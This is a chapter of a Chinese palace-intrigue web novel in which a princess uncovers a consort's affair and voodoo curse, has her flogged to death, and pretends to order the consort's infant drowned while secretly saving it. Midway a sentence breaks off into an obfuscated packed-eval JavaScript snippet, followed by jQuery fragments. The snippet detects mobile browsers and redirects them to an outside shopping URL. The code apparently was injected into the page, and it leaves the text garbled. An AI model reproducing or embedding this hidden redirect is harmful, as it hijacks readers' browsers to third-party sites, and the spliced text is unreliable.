8. 金簪坠梦,淑妃祸心
作品:《萧墙龙影,九州潮》 三日后,江慕淳顶着“帝国长公主省亲”的名头,快马加鞭赶回帝国皇宫。金镶玉的车辇刚在养心殿外停稳,就听见殿内传来的哀嚎:“这奏折怎么这么多?姓沈的到底什么时候回来啊——”
她挑开竹帘一看,只见凌时屿瘫在龙椅上,头发乱糟糟的像鸟窝,正对着一摞折子唉声叹气。“艾玛,批着呢”江慕淳捏着帕子掩唇笑,凤纹裙摆扫过满地散落的卷宗。
凌时屿猛地抬头,看见她时眼睛一亮,跟见了救星似的扑过来:“妹!你可算来了!快帮我看看这堆破玩意儿…”他突然想起什么,又垮了脸,“不对,你怎么回来了?”
“我弟呢?”
“他?别提了”
“别提了是几个意思?”江慕淳扫过案上堆积如山的奏折,最上头还压着半块啃剩的烧饼,“他把烂摊子丢给你跑了?”
“可不是咋的,不知道去干嘛了”
“这么巧…”江慕淳顿了顿,状似随意地问,“他走之前……有没有什么反常?”
“反常?”凌时屿挠了挠头,突然压低声音,“说起来也怪,走前那晚,我去养心殿送军报,他不在,反而远远看见偏殿的灯亮了一夜。第二天他就红着眼圈回来,扔给我一堆折子,说是要离宫几日去办事,然后就没影了,已经两个月没回来了”
难怪萧念自那日以后找不到他,原来是出宫了“行吧,你继续替我弟受累吧,我回去了”顿了顿,又说道“要是他回来了,立刻派人通知我。”
“别啊!”凌时屿哭丧着脸,“你也走了,这堆折子谁来帮我批?”话音未落,江慕淳已经跑了。
而此刻的萧国皇宫,萧念正对着一碗黑漆漆的安胎药皱眉头。秦鹤苒端着药碗,面无表情:“喝了。”
“能不能不喝?”萧念苦着脸,“闻着就像泔水。”
“不喝?”阮惗皱了皱眉,“要么喝药,要么我喂你喝。”
萧念只好捏着鼻子灌下去,苦得直咧嘴。她抹了把嘴,突然想起什么:“慕慕去帝国都这么多天了,怎么还没消息?”
“急什么?”秦鹤苒将空药碗递给宫女,指尖蹭过碗沿暗纹“来来回回,总要点时间”
话音刚落,内侍匆匆来报:“公主,皇后派人送信来了!”
萧念一把抢过信笺,展开一看,突然笑出声。信上只有四个字:“弟已失踪”
“噗嗤——”她突然笑出声,指节敲得信笺哗哗响,“失踪?沈景遇那冰块脸还能被狼叼了去?”阮惗凑过来看,眸子瞪得溜圆:“他不是号称‘帝国活阎王’吗?谁敢绑他?”
“许是躲债去了。”萧念揉着笑疼的肚子,忽然瞥见依云端着酸梅汤踉跄进门,发鬓间还沾着几片落叶。“公主……”依云喘着气“方才巡逻侍卫看见,有一黑衣男子从淑贵妃宫里翻墙出去了!”
暖阁里的笑声戛然而止。萧念脸上的笑意尚未褪尽,便被一层寒霜覆盖。“噗——”秦鹤苒刚抿的一口茶全喷在茶托上。“武氏禁足才解开多久?”
“回公主,”依云垂首“昨日刚解的禁…”
“胆子倒是见长。”秦鹤苒将信笺拍在案上,青瓷笔洗被震得移位,“之前插手吏部选官,现在竟敢私通外男?她不会以为这后宫是姓武?”
阮惗重重哼了声“上次打她那巴掌还是轻的!”
“传暗卫。”萧念的声音冷得像腊月寒冰,指尖蹭过腰间匕首,“把那男的给本宫抓来,活要见人,死……”她顿了顿,突然冷笑,“死了更省事,直接扔乱葬岗。”才被解开禁足,竟敢在眼皮子底下私通外男?这是把萧然的龙冠当绿帽戴了啊。
“走!”萧念站起身,往殿外走去,“去长乐宫!”
秦鹤苒则沉着脸吩咐内侍:“封死后宫各门,擅动者斩!
长乐宫.萧念踏入门槛时,武氏正对着铜镜描眉。看见萧念带着禁军闯进来,珠翠满头的脸瞬间褪成白纸,手里的螺子黛“啪”地掉在妆台上:“长公主……您这是何意?”
“何意?”萧念蹲下身,指尖挑起她鬓边凌乱的发丝,“本宫来瞧瞧,是谁给了淑贵妃胆子,让外男半夜爬墙进寝宫?”话音未落,阮惗已拽着个瑟瑟发抖的小太监上前
“公主饶命!”小太监“扑通”跪地,头磕在青砖上,“是……是淑贵妃让奴才去宫外买胭脂,说……说陛下喜欢……”
“哦?”萧念挑眉,从袖中摸出块晶莹的羊脂玉,“那这玉坠子,也是陛下赏你的?”玉坠上刻着个歪斜的“武”字
“血口喷人!这是……”
“陛下驾到——!”内侍尖利的通报声打断争执。萧然听到萧念带着一群人去了永乐宫,心想不妙连鞋都没穿就来了,看见被按在地上的武氏和满地狼藉,顿时愣在原地:“阿姐……这是怎么了?”
萧念没回头,朝身后侍卫使了个眼色。片刻后,乳母抱着襁褓中的萧莹走进来,孩子被吵得哇哇大哭。武氏见状扑过去想抱,却被凡泽死死按着。萧念接过玉碗,让内侍取来银针:“陛下,为了萧氏血脉,今日必须滴血认亲。”
萧然的手抖得像秋风中的落叶,却在触及萧念冰冷的眼神时,咬牙点了点头。银针刺破他和萧莹的指尖,两滴血珠坠入清水中,所有人都屏住了呼吸,只见血珠在水中渐渐交融在一起,凝成一缕淡红的丝线。
殿内一片死寂。武氏瘫倒在地,眼神闪过一丝诡异的庆幸。萧然看着水中交缠的血色,赶忙道,“你看!阿姐你看!莹莹是朕的女儿!”说着便想扶起武氏。萧念盯着碗中相融的血水,眉头拧得更紧——这孩子确实是萧然的骨血,那翻墙的男人又是谁?“搜宫。”她吐出一句。
“长公主!”武氏急忙喊到“宫里没有外人!是你诬陷我!”
“有没有,搜过便知。”萧念挥了挥手,侍卫立刻涌入。最终从抽屉底层摸出个蓝布小袋。打开一看,里面是个歪歪扭扭的布娃娃,身上扎满了针,特别是胸口插着足足七根银针,娃娃脖颈上系着的黄纸条上,赫然写着萧念的生辰八字!
“巫蛊之术?!”秦鹤苒皱起眉,下意识将萧念往身后拉。阮惗忍了半天的火气终于爆发,“噌”地拔出腰间软剑,剑尖抵在武氏咽喉:“你敢扎念念?!”
武氏看着那娃娃,索性也不装了。她推开抵在脖子上的刀,直视着萧念的眼睛:“是又如何?我从没想过当什么贵妃,更没想过给这狗皇帝生孩子。萧念,我巴不得你去死…”
“啪!”萧念反手就是一巴掌,或许是因气愤,下手稍微重了点,武氏嘴角瞬间溢出血:“说!那个男的是谁?”
“哈哈哈……”武氏突然笑得浑身发颤,毫无任何畏惧之色,发髻上的凤凰步摇摇摇欲坠,“他?别急~你很快就知道了”
“找死!”萧念扬手一鞭,鞭子带着破空声抽在武氏脸上,顿时血痕瞬间迸裂。“本宫最烦不听话的美人。”她蹲下身,靴尖碾过武氏散落的簪子,喀嚓声惊得乳母怀里的婴儿打了个哆嗦。指尖掐住武氏下颌往上抬,“啧,左脸这颗泪痣生得倒妙,可惜配了张不肯张嘴的嘴。”
武氏被掐得喘不过气,泪眼婆娑地瞪着她。萧念却忽然笑了,指尖划过她流血的唇瓣,语气带着惋惜:“你这张脸,若肯乖乖听话……”她突然凑近,温热的气息喷在武氏耳畔,“本宫倒不介意在念府添个解闷的美人儿。”
“你……”武氏浑身一震,不敢置信地瞪大眼睛。连旁边的萧然张着嘴看自家阿姐“好色”本性暴露无遗。
“怎么?”萧念挑眉,指尖捏起武氏一缕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968836|193417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散落的发丝,“当年在教坊司卖唱时,没少被达官贵人这么逗弄吧?”她语气轻佻,眼神却冷得像冰,“如今进了宫,倒学会装贞洁烈女了?”
“说,那个人是谁?”
“休想。”武氏依然嘴硬不说,萧念显然失去耐心,甩开她,站起身子对目瞪口呆的内侍道:“拖出去,杖毙。”
萧然赤着脚踩在冰冷的地砖上,看着武氏消失在殿门外,嘴唇动了动却发不出声,指甲深深掐进掌心。“阿姐……”他声音沙哑,“莹儿她……”
萧念走到乳母身边,掀开襁褓一角。萧莹正睁着乌溜溜的眼睛看她,小拳头攥得紧紧的。“这孩子,”萧念指尖悬在婴儿眉心,突然冷笑,“扔井里溺死。”
“阿姐!”萧然猛地抬头,锦袍前襟被自己攥得发皱,“滴血认亲不是验过了吗?她是我的骨肉啊!”
“滴血认亲?”萧念转过身,狐裘大氅扫过一地珠翠,发出细碎的声响“滴血认亲能证明什么?武氏敢在宫里私通外男,敢行巫蛊之术,还有什么做不出来?你能保证这孩子……真是你的种?”
萧然看着萧念眼中的冰冷,突然感到一阵刺骨的寒意。他想起武氏被拖走前那怨毒的眼神,想起她未说完的话,胃里一阵翻江倒海。“可她……她还只是个婴儿……”
“婴儿?”萧念挑眉,从袖中摸出那只插满银针的布娃娃,扔在萧然脚边,“陛下,你是皇帝,不是圣母。对敌人仁慈,就是对自己残忍。”
乳母吓得跪倒在地,怀里的萧莹似乎感受到气氛不对,“哇”地一声哭出来。那哭声尖锐刺耳,像针一样扎进萧然的心里。他看着萧念,又看了看地上的巫蛊娃娃,终于闭上眼,从牙缝里挤出两个字:“依……依阿姐。”
“明智的选择。”萧念挥了挥手,示意人动手,萧然眼睁睁看着孩子被带出去,自己却无能为力。拳头紧了又松,最终什么也没说,萧念是真的狠。
萧念拍了拍萧然的肩膀,“去把衣服穿好,别让人看了笑话。从今天起,你得学会自己处理这些事。”
萧然“嗯”了一声,却没有动,目光依旧胶着在地上那滩未干的血迹上。萧念叹了口气,叫上秦鹤苒和阮惗离开了长乐宫。
秦鹤苒看着萧念的背影,突然开口:“念念,这是不是太残忍了?”
萧念脚步未停,声音轻飘飘的:“有吗?我不觉得”
“武氏的孩子,若留在宫里,迟早是个祸害。”萧念停下脚步,回头看她,“与其让她将来被人当枪使,不如给她个寻常人生。”
“把孩子送去林苑。”
“林苑?”阮惗和秦鹤苒同时愣住。
“找几个可靠的,”萧念望着西山方向,“对外只说孩子夭折了。”她顿了顿,从袖中摸出块暖玉塞进阮惗手里,“这玉能驱寒,给孩子戴着。”
“念念,你……”
“别问。”萧念转身继续往前走,声音被风吹得零散,“武氏的错,不该算在孩子头上。但她若留在宫里,迟早是第二个武氏。”
阮惗攥着暖玉,突然咧嘴笑了:“就知道你心软!”她转身离开去接孩子。
秦鹤苒跟上萧念,见她望着阮惗的背影,嘴角勾起抹极淡的笑。“其实你早就想好了,”她低声道,“从一开始就没打算真把孩子扔井里。”
萧念没说话,只是抬头看天。她想起在帝国时,沈景遇教她用暖玉焐手的样子,“苒苒,”她突然开口,声音轻得像雪,“你说人为什么会心软呢?”
秦鹤苒看向她突然觉得鼻子发酸。人人都说萧念恶毒,唯有她们三个知道,萧念是慈悲,只是她的慈悲,被裹上一层外壳。她这个人很复杂。
“因为我们是活生生的人,不是石头。”秦鹤苒轻声道。

